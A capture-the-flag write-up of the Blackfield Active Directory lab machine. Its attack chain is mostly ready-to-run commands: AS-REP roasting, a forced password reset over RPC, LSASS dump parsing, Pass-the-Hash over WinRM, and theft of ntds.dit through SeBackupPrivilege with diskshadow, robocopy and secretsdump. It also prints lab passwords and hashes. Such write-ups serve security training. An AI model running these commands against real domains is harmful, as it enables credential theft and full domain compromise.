Blackfield

Overview

Blackfield is a hard-difficulty Windows Domain Controller. The attack chain begins with anonymous SMB enumeration of a profiles$ share that leaks 315 AD usernames, one of which is AS-REP-roastable (support); cracking the hash recovers support’s password. BloodHound exposes a ForceChangePassword ACE from support to audit2020; rpcclient resets that password, unlocking a forensic SMB share containing a live LSASS dump. pypykatz extracts svc_backup’s NT hash from the dump and evil-winrm delivers a Pass-the-Hash shell. From there, SeBackupPrivilege via Backup Operators membership enables diskshadow VSS + robocopy to steal ntds.dit, and secretsdump cracks every domain hash including Administrator’s.

Machine Matrix

Heavy real-world AD enumeration dominates — anonymous SMB, AS-REP roasting, BloodHound ACL analysis, and SeBackupPrivilege abuse are all techniques seen in live Active Directory environments; no CVE and no custom exploit code.

Recon

Port	Service	Notes
53/tcp	DNS	Domain: blackfield.local
88/tcp	Kerberos	DC01
135/tcp	RPC
389/tcp	LDAP	blackfield.local
445/tcp	SMB	anonymous access to profiles$
593/tcp	RPC over HTTP
3268/tcp	Global Catalog
5985/tcp	WinRM	HTTP — evil-winrm target

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,88,135,389,445,593,3268,5985 -sC -sV -Pn 10.10.10.X

The standout findings are anonymous SMB with a readable profiles$ share and an open WinRM port — both common in poorly hardened AD environments and both central to the attack chain.

Enumeration

Anonymous SMB enumeration reveals two shares of interest: profiles$ (READ) and forensic (NO ACCESS initially).

smbmap -H 10.10.10.X -u null

Listing profiles$ without credentials returns 315 user home directories — each directory name is a valid AD username.

smbclient -N //10.10.10.X/profiles$ -c "ls" | awk '{print $1}' | grep -v '^\.' | grep -v '^$' | grep -v 'blocks' > users.txt

With a 315-entry username list, AS-REP Roasting identifies which accounts have Kerberos pre-authentication disabled — a misconfiguration that allows offline cracking of the KDC reply without authentication.

GetNPUsers.py blackfield.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.X | grep krb5asrep > support.hash

support returns an AS-REP hash. Cracking it against rockyou recovers the password in seconds.

hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txt --force

Credential recovered: support:#00^BlackKnight.

With valid credentials, BloodHound maps the AD attack surface and immediately highlights a critical ACE: support holds ForceChangePassword over audit2020, a case of improper privilege management (CWE-269) from over-permissive ACL delegation.

bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.X -c All --zip

Foothold

rpcclient’s setuserinfo2 changes audit2020’s password via RPC without supplying the original — this is the ForceChangePassword right exercised over the wire.

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.X -c 'setuserinfo2 audit2020 23 "Hack3dBlackfield!"'

netexec smb 10.10.10.X -u audit2020 -p 'Hack3dBlackfield!'

audit2020 now has READ access to the forensic share. The memory_analysis subdirectory contains lsass.zip — a live LSASS memory dump, an operational security failure that represents insufficiently protected credentials (CWE-522) stored on a network share.

smbclient -U 'audit2020%Hack3dBlackfield!' //10.10.10.X/forensic -c "cd memory_analysis; get lsass.zip"

unzip lsass.zip
pypykatz lsa minidump lsass.DMP

pypykatz extracts svc_backup’s NT hash: 9658d1d1dcd9250115e2205d9f48400d. WinRM accepts the hash directly via Pass-the-Hash.

netexec winrm 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Shell lands as svc_backup.

User flag

type C:\Users\svc_backup\Desktop\user.txt   # HTB{...}

Shell obtained as svc_backup and the user flag is ours.

Privilege Escalation

svc_backup is a member of the Backup Operators built-in group, which grants SeBackupPrivilege and SeRestorePrivilege — privileges that intentionally bypass DACL enforcement, making this incorrect permission assignment (CWE-732) equivalent to Domain Admin when exploited correctly.

The attack requires two capabilities: a VSS snapshot to bypass the NTDS exclusive file lock, and backup privilege to read the unlocked copy. diskshadow provides the snapshot; robocopy’s /B flag invokes the backup APIs.

Create the diskshadow script on target via WinRM:

netexec winrm 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -X 'Set-Content -Path "C:\programdata\vss.dsh" -Value "set context persistent nowriters`r`nset metadata c:\programdata\meta.cab`r`nset verbose on`r`nadd volume c: alias df`r`ncreate`r`nexpose %df% z:"'

Run diskshadow to expose a VSS shadow of C: as Z:

netexec winrm 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -x "diskshadow /s c:\programdata\vss.dsh"

Copy ntds.dit from the shadow using backup privilege (bypasses the NTDS service lock):

netexec winrm 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -x "robocopy /B z:\windows\ntds c:\programdata\ ntds.dit"

Save the SYSTEM hive (boot key needed to decrypt ntds.dit):

netexec winrm 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -x "reg save HKLM\SYSTEM c:\programdata\system.hive"

Exfiltrate both files:

evil-winrm -i 10.10.10.X -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd C:\programdata
*Evil-WinRM* PS C:\programdata> download ntds.dit
*Evil-WinRM* PS C:\programdata> download system.hive

Dump all domain hashes offline:

impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

Administrator NT hash recovered: 184fb5e5178480be64824d4cd53b99ee.

netexec winrm 10.10.10.X -u administrator -H 184fb5e5178480be64824d4cd53b99ee -X "type C:\Users\Administrator\Desktop\root.txt"

Root flag

type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full domain compromise achieved — the Administrator NT hash extracted from ntds.dit via SeBackupPrivilege completes the chain.